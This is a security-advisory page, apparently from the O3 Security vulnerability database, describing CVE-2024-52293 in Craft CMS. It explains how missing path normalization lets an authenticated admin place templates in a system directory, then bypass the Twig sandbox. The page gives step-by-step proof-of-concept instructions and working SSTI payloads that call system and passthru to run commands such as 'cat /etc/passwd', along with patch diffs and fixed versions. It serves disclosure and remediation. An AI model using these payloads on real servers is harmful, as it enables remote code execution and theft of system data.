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GHSA-f3cw-hg6r-chfv

HIGH

Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI

Also known asCVE-2024-52293
Published
Nov 13, 2024
Updated
Feb 4, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
1 known

EPSS Exploitation Probability

via FIRST.org ↗
1.3%probability of exploitation in next 30 days
Lower Risk67th percentile-20.69%
0.00%9.40%18.8%28.2%4.5%1.3%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

2 pkgs affected
🐘craftcms/cms🐘craftcms/cms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.

(Post-authentication, ALLOW_ADMIN_CHANGES=true)

Details

Note: This is a sequel to CVE-2023-40035

In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:

/**
 * Returns an absolute path based on a source location or the current working directory.
 *
 * @param string $to The target path.
 * @param string|null $from The source location. Defaults to the current working directory.
 * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.
 * @return string
 * @since 4.3.5
 */
public static function absolutePath(
    string $to,
    ?string $from = null,
    string $ds = DIRECTORY_SEPARATOR,
): string {
    $to = static::normalizePath($to, $ds);

    // Already absolute?
    if (
        str_starts_with($to, $ds) ||
        preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
    ) {
        return $to;
    }

    if ($from === null) {
        $from = FileHelper::normalizePath(getcwd(), $ds);
    } else {
        $from = static::absolutePath($from, ds: $ds);
    }

    return $from . $ds . $to;
}

This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.

Let's see what happens after calling isSystemDir("../templates/poc"):

/**
 * Returns whether the given file path is located within or above any system directories.
 *
 * @param string $path
 * @return bool
 * @since 5.4.2
 */
public function isSystemDir(string $path): bool // $path = "../templates/poc"
{
    $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"

    foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
        $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
        if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
            return true;
        }
    }

    return false; // We're here!
}

Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136:

/**
 * @param string $attribute
 * @param array|null $params
 * @param InlineValidator $validator
 * @return void
 * @since 4.4.6
 */
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
    if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {
        $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));
    }
}

We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc

Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml

Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.

{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.

PoC

  1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start
mkdir craftcms && cd craftcms
ddev config --project-type=craftcms --docroot=web --create-docroot
ddev composer create -y --no-scripts "craftcms/craft"
ddev craft install
php craft setup/security-key
ddev start
<img width="1280" alt="start" src="https://github.com/user-attachments/assets/f8bcc22a-6ffd-40a5-81c6-c077fa4ce1d3">
  1. Create a new filesystem with base path ../templates/poc
<img width="1280" alt="filesystem" src="https://github.com/user-attachments/assets/fe78e023-bd51-4fc1-a22e-dcfa5baf266b">

Notice that the poc directory was created

<img width="167" alt="dir" src="https://github.com/user-attachments/assets/ccc45ce8-8555-4aae-ae48-320a630e7d79">
  1. Create a new asset volume using the poc filesystem
<img width="1280" alt="asset" src="https://github.com/user-attachments/assets/b5530766-11b4-4e45-ae58-82f81fc2db00">

Upload a poc.ttml file with RCE template code

{{'<pre>'}}
{{ 8*8 }}
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.

<img width="1280" alt="upload" src="https://github.com/user-attachments/assets/63e65beb-2ede-4141-85d2-e7d21cd4b8ad">

ttml

  1. Create a new route * with template poc/poc.ttml
<img width="1280" alt="route" src="https://github.com/user-attachments/assets/b92d9340-b6a5-40d8-a8e8-ddab5cfc9f21">
  1. This leads to Remote Code Execution on arbitrary route /*
<img width="454" alt="rce" src="https://github.com/user-attachments/assets/19765f6c-1c28-4a0b-a89c-25f6f05ceca6">

Remediation

diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php
index 0c2da884a7..ac23ce556a 100644
--- a/src/helpers/FileHelper.php
+++ b/src/helpers/FileHelper.php
@@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper
             $from = static::absolutePath($from, ds: $ds);
         }

-        return $from . $ds . $to;
+        return FileHelper::normalizePath($from . $ds . $to);
     }

     /**

fix_norm

See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:

diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php
index efff2d2412..756f452f8b 100644
--- a/src/web/twig/Extension.php
+++ b/src/web/twig/Extension.php
@@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface
             new TwigFilter('lcfirst', [$this, 'lcfirstFilter']),
             new TwigFilter('literal', [$this, 'literalFilter']),
             new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]),
+            new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]),
+            new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
+            new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
             new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
             new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
             new TwigFilter('merge', [$this, 'mergeFilter']),

fix_ssti

Impact

Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistcraftcms/cms4.0.0-RC1&&< 4.12.24.12.2
🐘Packagistcraftcms/cms5.0.0-RC1&&< 5.4.35.4.3
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update craftcms/cms to 4.12.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f3cw-hg6r-chfv is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-f3cw-hg6r-chfv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-f3cw-hg6r-chfv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Missing `normalizePath` in the function `FileHelper::absolutePath` could lead to Remote Code Execution on the server via twig SSTI. `(Post-authentication, ALLOW_ADMIN_CHANGES=true)` ### Details Note: This is a sequel to [CVE-2023-40035](https://github.com/craftcms/cms/security/advisories/GHSA-44wr-rmwq-3phw) In [`src/helpers/FileHelper.php#L106-L137`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/helpers/FileHelper.php#L106-L137), the function `absolutePath` returned `$from . $ds . $to` without path normalization: ```php /** * Returns an a
O3 Security · Impact-Aware SCA

Is GHSA-f3cw-hg6r-chfv in your dependencies?

O3 detects GHSA-f3cw-hg6r-chfv across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-f3cw-hg6r-chfv: craftcms/cms Remote Code Execution (High 7… | O3 Security